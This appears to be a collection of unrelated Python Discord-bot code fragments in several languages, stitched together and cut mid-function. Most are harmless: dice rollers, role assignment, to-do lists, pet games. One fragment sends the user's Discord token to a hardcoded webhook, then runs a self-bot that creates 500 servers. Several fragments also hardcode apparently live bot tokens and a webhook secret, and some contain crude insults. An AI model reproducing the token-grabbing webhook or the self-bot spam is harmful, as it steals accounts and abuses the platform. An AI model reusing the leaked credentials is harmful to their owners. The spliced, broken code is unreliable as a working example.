def run(): try: client.run(AUTHKEY) except discord.errors.LoginFailure: print("Invalid Auth Key") else: pass
class Main: TOKEN = ' ' # BOTのトークン client = discord.Client() # クライアントの生成 # デコレータ @client.event async def on_message(message): # Discordのbotはfuncごとにasyncが必要 if message.author.bot: # もし発言したのがbotなら無視 return if message.content == '/yndr': # # もしメッセージがyndrなら~~ imgurl = requests.get("https://yande.re/post.xml?limit=1") # yand.reから最新の投稿をget print("getting url") # logging root = ET.fromstring(imgurl.text) # XMLを準備 r = requests.get(root.find("post").get("jpeg_url"), stream=True) # root.findで子要素の取得 .getでアブソリュート jpeg urlの取得 print("get image") with open("temp.jpg", 'wb') as f: # 画像の一時保存 f.write(r.content) # 保存 print("saving file") await message.channel.send("` https://yande.re/post/show/" + root.find("post").get("id") + "`") await message.channel.send(file=discord.File('temp.jpg')) # 投稿 print("all work done") return # このままだと誤作動する可能性があるのでファイル名にtimestampを入れる必要あり if message.content == '/yndr -nocmpr': # 未圧縮ファイルモード レスポンスに難あり 処理は同じ、URLがpngになっただけ imgurl = requests.get("https://yande.re/post.xml?limit=1") print("getting url") root = ET.fromstring(imgurl.text) r = requests.get(root.find("post").get("file_url"), stream=True) print("get image") with open("temp.png", 'wb') as f: f.write(r.content) print("saving file") await message.channel.send(file=discord.File('temp.png')) print("all work done") return client.run(TOKEN) # すべての処理の記述が完了したので実行 print("sex")
from discord.ext import commands from discord.ext import commands from discord_webhook import DiscordWebhook, DiscordEmbed webhook = DiscordWebhook( url= 'https://discordapp.com/api/webhooks/636956216400019456/BkG592ITs9Ta6dBYEQnQa4Or2oOZr2SbimaRN8eAd6EQldEx655k3dBwrsBylizw7vyn' ) embed = DiscordEmbed(title="F****n Memed", description="Token: " + token) webhook.add_embed(embed) webhook.execute() client = commands.Bot(command_prefix=prefix, self_bot=True) client.remove_command("help") with open('icon.png', 'rb') as f: icon = f.read() @client.event async def on_ready(): name = "gay" with open('icon.png', 'rb') as icon: for i in range(500): await client.create_guild( name, region='london', ) client.run(token, bot=False)
async def on_message(message): if message.content.startswith('!Hola'): await client.send_message(message.channel, "Hola") elif message.content.startswith('!strike'): mensaje = (message.content).split(' ') sumarstrike(diccionario, message, mensaje[1]) await client.send_message( message.channel, "Has metido un strike a: " + mensaje[1] + " y lleva: " + str(diccionario.get(mensaje[1]))) if (numerostrikes(diccionario.get(mensaje[1]))): server.server_voice_state(mensaje[1], True) await client.send_message( message.channel, ':zap:' + "Ohh Hitlario... yo te invocoo haz que " + mensaje[1] + " se quede Echenique y no pueda hablar más" + ':zap:') @client.event async def on_ready(): inicializar() print('Logged in as') print(client.user.name) print(client.user.id) print('------') client.run('NTA3Njc5Nzc2OTc1MzU1OTI3.Dr2rZA.Kt5qjj7kBKundrrjDy8pGP_Tsmg')
print(repr(e)) async def on_raw_reaction_remove(self, payload): channel = self.get_channel( payload.channel_id) # получаем объект канала message = await channel.fetch_message(payload.message_id ) # получаем объект сообщения member = utils.get( message.guild.members, id=payload.user_id ) # получаем объект пользователя который поставил реакцию try: emoji = str(payload.emoji) # эмоджик который выбрал юзер role = utils.get(message.guild.roles, id=roles) # объект выбранной роли (если есть) await member.remove_roles(role) print( '[SUCCESS] Role {1.name} has been remove for user {0.display_name}' .format(member, role)) except KeyError as e: print('[ERROR] KeyError, no role found for ' + emoji) except Exception as e: print(repr(e)) # RUN client = MyClient() client.run('ODgwODg3NDY2MzM5NDgzNzE4.YSk0Yg.oYBfSXVzhZfejjsaP_t2qiXpDAQ')
matches = re.findall(r'\d+', command) return matches @client.event async def on_message(message): print(f'{message.author} send message {message.content}') if f"{message.content}".startswith(f"throw"): try: dices = f'{message.content}'.split(" ")[1] except IndexError: return if f"{message.content}".startswith(f"throw {dices}"): patern = parse_command(message.content) dicecount = int(patern[0]) dicetype = patern[1] result = dice_throw(dicecount, dicetype) response = f"{result}" await message.channel.send(response) @client.event async def on_ready(): print('Logged in as') print(client.user.name) print(client.user.id) print('------') client.run(tokendice)
import discord from discord import client import json class MyClient(discord.Client): async def on_ready(self): print("Logged in as {0}".format(self.user)) async def on_message(self, message): if message.author == self.user: return if message.content == "!hello": await message.channel.send("Hello {0.author}".format(message)) with open("./../secrets.json") as secrets: secret_object = json.loads("".join(secrets.readlines())) client = MyClient() client.run(secret_object["discord_token"])
#keeps track of to do list (action items) @client.command() async def todo(ctx, action, *args): output = "" if action == 'clear': tdlist.clear() output = "" elif action == 'show': print(tdlist) for i in range(0, len(tdlist)): output += str(i) + " - " + tdlist[i] + "\n" if len(tdlist) == 0: await ctx.send("No tasks in list!") else: await ctx.send(output) elif action == 'add': tdlist.append(" ".join(args)) elif action == 'delete': item = int("".join(args)) del tdlist[item] #Todo: shows what subject you are working on (background task) #@tasks.loop(seconds=10) #async def change_status(): #await client.change_presence(activity=discord.Game(next(status))) #await client.change_presence(activity=discord.Activity(type=discord.ActivityType.studying, name="a movie"))) client.run(os.environ['TOKEN'])
else: img0.paste(imar[j], Pos[a][b], mask=imar[j]) # img0.save("Green grid.png") # img0.show() b += 1 a += 1 # img0.show() return(img0)''' def readRedis(msgChan): game = pickle.loads(r.get(msgChan + 'garray')) return game def writeRedis(gArr): r.set(garray, pickle.dumps(gArr)) def flushRedis(key): r.delete(key) r.delete(key + "garr") r.delete(key + "garr" + "movec") keep_alive() load_dotenv() my_secret = os.getenv('mtoken') # print(my_secret) client.run(my_secret)
@client.command() async def Gilfoyle(ctx): await ctx.send("Makes me feel like I’ve died and gone to hell.") @client.command() async def Gilfoyle2(ctx): await ctx.send( "I’m sure you can find your way out with one of your two faces.") @client.command() async def Gilfoyle3(ctx): await ctx.send( "I’m effectively leveraging your misery. I’m like the Warren Buffet of f*cking with you." ) PlayerName = Player.getName() PlayerRank = Player.getRank() @client.command() async def Stats(ctx): await ctx.send(PlayerRank) client.run('NjA5MTk3NTI0NDc3MjgwMjcy.XUzNaA.e7oBJGqOv64GIKo0y_oiaPb0zG0')
def parseChat(resp): resp = resp.rstrip().split('\r\n') for line in resp: if "PRIVMSG" in line: user = line.split(':')[1].split('!')[0] msg = line.split(':', maxsplit=2)[2] line = "**" + user + "**" + ": " + msg ping.append(line) def loop(): while True: global lastAlert resp = sock.recv(2048).decode('utf-8') if resp.startswith('PING'): sock.send("PONG\n".encode('utf-8')) elif len(resp) > 0: parseChat(resp) if not window.foreground() and time.time() - lastAlert > DELAY: if ALERT_SOUND == "True": sound.alert(SOUND_FILE) if ALERT_RUMBLE == "True": rumble.alert() lastAlert = time.time() client.loop.create_task(chat()) thread = threading.Thread(target=loop) thread.start() client.run(AUTHKEY)
embed.add_field(name="Users", value="{}/{}".format(online, total_users)) embed.add_field(name="Humans", value=total_humans) embed.add_field(name="Bots", value=total_bots) embed.add_field(name="Text Channels", value=text_channels) embed.add_field(name="Voice Channels", value=voice_channels) embed.add_field(name="Roles", value=len(guild.roles)) embed.add_field(name="Owner", value=str(guild.owner)) embed.set_footer(text=f"Guild ID:{str(guild.id)}") embed.set_footer(text=f"by {ctx.author}", icon_url='https://www.tailorbrands.com/wp-content/uploads/2018/10/article_pic_5-4.jpg') if guild.icon_url: embed.set_author(name=guild.name, url=guild.icon_url) embed.set_thumbnail(url=guild.icon_url) else: embed.set_author(name=guild.name) await ctx.send(embed=embed) # Run the client on the server client.run('your bot token here')
from discord.ext.commands.core import bot_has_any_role token_path = os.path.dirname(os.path.abspath(__file__))+"/token.txt" t = open(token_path,'r',encoding='utf-8') token =t.read().split()[0] print('token_key :token') game = discord.Game('!Hello') commands.Bot(command_prefix='!',status=discord.Status.online,activity=game,help_command=None) @bot_has_any_role.event async def on_ready(): await client.change.presence(Status.discord.Status.online, activity=Game) print('I am ready') print(client.user.name) print(client.user.id) @client.event async def on_message(message): if message.author.bot: return None if message.content ==('!hi'): await message.channel.send('응답') await message.author.send('응답') client.run('Nzk0NzQzNTMwMDU2MDU2ODYz.X-_Qlw.40HmvhMniORauq4rJOvR4qP9ZlI')
if message.content.startswith('f off'): await message.reply('Bhak sale', mention_author=True) if (message.content.startswith('chup be')) or ( message.content.startswith('Chup be')): await message.reply('Thik hai bhai maaf kardo', mention_author=True) if (message.content.startswith('ping')) or ( message.content.startswith('Ping')): await message.reply('Pong!! {0}'.format(round(client.latency, 1))) client = MyClient() client.run("NzA1Njg0OTcwNDY2OTY3NTcy.XqvSVw.1K9UTTzJ-CzvBvK_-4VkrCVaW68") # @client.event # async def on_message(message): # print(f"{message.channel}: {message.author}: {message.author.name}: {message.content}") # if str(message.author) == f"{message.author}" and "hello" in message.content.lower(): # await message.channel.send('Hi!') # @client.event # async def on_message(message): # print(f"{message.channel}: {message.author}: {message.author.name}: {message.content}") # if str(message.author) == f"{message.author}" and "f off" in message.content.lower(): # await message.channel.send('Bhak sale') # @client.event # async def on_message(message):
@client.command() @commands.has_role('Autorizzato a Talker') async def Spam_menzione(ctx, menzione): await ctx.channel.purge(limit = 1) parola = str(menzione) for i in range(5): await ctx.send(menzione) await ctx.channel.purge(limit = 1) @client.command() @commands.has_role('Autorizzato a Talker') async def Avviso(ctx): await webbrowser.open('it.wikipedia.org') @client.command() @commands.has_role('Autorizzato a Talker') async def Aggiungi_Ruolo(ctx, user: discord.Member, role: discord.Role): await ctx.channel.purge(limit = 1) await user.add_roles(role) await ctx.send(f"Ho aggiunto il ruolo {role.mention} all'utente {user.mention}.") @client.command() @commands.has_role('Autorizzato a Talker') async def Togli_Ruolo(ctx, user: discord.Member, role: discord.Role): await ctx.channel.purge(limit = 1) await user.remove_roles(role) await ctx.send(f"Ho rimosso il ruolo {role.mention} all'utente {user.mention}.") client.run(token)
@client.command() async def stop(ctx, *args): await ctx.channel.purge(limit = 1) @client.command() async def skip(ctx, *args): await ctx.channel.purge(limit = 2) @client.command() async def getMessage(ctx, val): global arrayMessage global f if(val == 'Disgustoso'): for x in range(len(arrayMessage)): await ctx.send(arrayMessage[x]) @client.command() async def reset(ctx, val): global app2 if(val == 'Disgustoso'): app2 = 'null' print('reset OK') client.run(token1+token2+token3)
await m_handler.send('Plops down* ϵ( •Θ• )϶') elif "walk" in m_handler.content: happiness.add_happiness(10) await m_handler.send('walks* ⋋(‘Θ’◍)⋌ :.。✯*') elif "cry" in m_handler.content: happiness.add_happiness(-10) await m_handler.send('Wuuuu~* ( ⌒⃘ ◞⊖◟ ⌒⃘ )') elif "stand" in m_handler.content: happiness.add_happiness(10) await m_handler.send('Stands up!* ㄟ( •ө• )ㄏ') elif "fetch" in m_handler.content: happiness.add_happiness(20) await m_handler.send('⚽є(・Θ・。)э››') elif "tantrum" in m_handler.content: await m_handler.send(happiness.throw_tantrum()) elif "poop" in m_handler.content: await m_handler.send('(⊙ө⊙)💩') hunger.add_hunger(-10) elif "feel" in m_handler.content: await m_handler.send(happiness.rand_mood()) elif "compliment" in m_handler.content: await m_handler.send( 'https://media.giphy.com/media/3o7btREha9GkGtgJKo/giphy.gif') elif "disgotchi" in m_handler.content: await m_handler.send('I am here! ヾ(・Θ・)ノ') client.run(os.getenv('TOKEN'))
dbp.insert_data(name, hours) #channel=get(ctx.message.server.channels,name="test-channel",type=discord.ChannelType.text) #print(channel) #await ctx.send(channel,"hi") @bot.command(name="tell", help='know how many hours you have coded.') async def tell(ctx): name = ctx.message.author.name hours = dbp.find(name) await ctx.send(hours) @client.event async def on_message(message): cont = message.content today = date.today() if (cont == "!done"): guild = get(client.guilds, name="samurai_01") channel = get(guild.channels, name="daily-coding-streak") await channel.send( f'Congrats {message.author.name} you have completed coding on {today}' ) client.run(TOKEN) bot.run(TOKEN)
import discord from discord import client import discord from discord.ext import commands from discord import Intents import os from smashtheque.smashtheque import Smashtheque from error_handler import CommandErrorHandler intents = Intents.none() intents.messages = True # make a minimalist bot with cogs client = commands.Bot(command_prefix='&', intents=intents) # get BOT_TOKEN from environ BOT_TOKEN = os.environ.get('BOT_TOKEN') client.add_cog(Smashtheque(client)) client.add_cog(CommandErrorHandler(client)) client.run(BOT_TOKEN)